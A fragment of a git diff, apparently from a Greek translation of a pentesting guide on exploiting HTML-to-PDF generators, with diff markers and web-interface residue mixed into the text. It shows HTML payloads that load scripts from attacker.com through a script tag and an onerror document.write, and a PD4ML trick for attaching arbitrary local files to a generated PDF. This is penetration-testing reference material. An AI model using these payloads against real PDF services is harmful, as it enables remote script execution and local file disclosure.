### Φόρτωση εξωτερικού script
|
||||
|
||||
Ο καλύτερος συμβατός τρόπος για να εκμεταλλευτείτε αυτήν την ευπάθεια είναι να καταχραστείτε την ευπάθεια για να κάνετε το bot να φορτώσει ένα script που ελέγχετε τοπικά. Στη συνέχεια, θα μπορείτε να αλλάξετε το payload τοπικά και να κάνετε το bot να το φορτώνει με τον ίδιο κώδικα κάθε φορά.
|
||||
Ο καλύτερος τρόπος εκμετάλλευσης αυτής της ευπάθειας είναι να καταχραστείς την ευπάθεια για να κάνεις το bot να φορτώσει ένα script που ελέγχεις τοπικά. Έτσι, θα μπορείς να αλλάξεις το payload τοπικά και να κάνεις το bot να το φορτώνει με τον ίδιο κώδικα κάθε φορά.
|
||||
```html
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
@ -152,7 +168,7 @@ checkPort(i);
|
||||
### Attachments: PD4ML
|
||||
|
||||
Υπάρχουν μερικές μηχανές HTML 2 PDF που επιτρέπουν να **καθορίσετε συνημμένα για το PDF**, όπως το **PD4ML**. Μπορείτε να εκμεταλλευτείτε αυτή τη δυνατότητα για να **συνημμένο οποιοδήποτε τοπικό αρχείο** στο PDF.\
|
||||
Για να ανοίξω το συνημμένο, άνοιξα το αρχείο με **Firefox και διπλό κλικ στο σύμβολο του συρραπτικού** για να **αποθηκεύσω το συνημμένο** ως νέο αρχείο.\
|
||||
Για να ανοίξω το συνημμένο, άνοιξα το αρχείο με **Firefox και διπλό κλικ στο σύμβολο του συνημμένου** για να **αποθηκεύσω το συνημμένο** ως νέο αρχείο.\
|
||||
Η καταγραφή της **απάντησης PDF** με το burp θα πρέπει επίσης να **εμφανίσει το συνημμένο σε καθαρό κείμενο** μέσα στο PDF.
|
||||
```html
|
||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
|
||||
@ -169,5 +185,6 @@ icon="Paperclip" />
|
||||
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
|
||||
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
|
||||
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user